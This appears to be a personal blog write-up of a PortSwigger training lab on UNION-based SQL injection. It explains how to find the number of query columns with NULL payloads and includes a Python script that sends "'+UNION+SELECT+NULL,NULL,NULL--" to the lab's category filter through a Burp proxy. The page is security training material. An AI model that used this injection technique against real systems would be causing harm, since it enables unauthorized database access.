Shubham Ranpise

Back

SQLi Lab 7

SQL injection for determining the number of columns returned by a query

portswigger-labs content

SQL injection UNION attack, determining the number of columns returned by the query#

This lab demonstrates how to determine the number of columns returned by a query in a SQL injection scenario. The vulnerable product category filter returns the results of a query in the application’s response. To perform a UNION attack, the first step is to find the correct number of columns by sending payloads containing NULL values until the query executes successfully without errors. This technique is fundamental for constructing further SQL injection attacks in subsequent labs.

How Exploit Works#

  • The category parameter in /filter is vulnerable to SQL injection.
  • Start with a payload like '+UNION+SELECT+NULL-- to test the query. An error indicates the number of columns does not match.
  • Gradually add NULL values separated by commas (e.g. '+UNION+SELECT+NULL,NULL--) until the response executes successfully.
  • Once the number of columns is correct, the lab is considered solved.
  • This method prepares the ground for full UNION SELECT attacks in future labs.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """
    Check if Burp Suite is running and listening on the configured proxy.
    """
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_sqli(url, payload):
    """
    Send payload directly in the URL, then check base URL for success banner.
    """
    try:
        # Step 1: Send payload
        full_url = url.rstrip("/") + payload
        res = requests.get(full_url, verify=False, proxies=proxies, timeout=10)
        res.raise_for_status()

        # Step 2: Request base URL again and check for 'Congratulations'
        check_res = requests.get(url, verify=False, proxies=proxies, timeout=10)
        check_res.raise_for_status()
        return "Congratulations" in check_res.text

    except requests.RequestException as e:
        print(f"[-] Error while sending request: {e}")
        sys.exit(1)

def main():
    """
    Entry point of the script.
    """
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Define SQL injection payload
    payload = "/filter?category='+UNION+SELECT+NULL,NULL,NULL--"

    # Step 3: Attempt exploitation
    print("[*] Sending payload...")
    if exploit_sqli(url, payload):
        print("[+] Lab solved! 🎉")
    else:
        print("[-] Payload sent but lab not solved (no 'Congratulations' found).")

if __name__ == "__main__":
    main()
python

See more portswigger-labs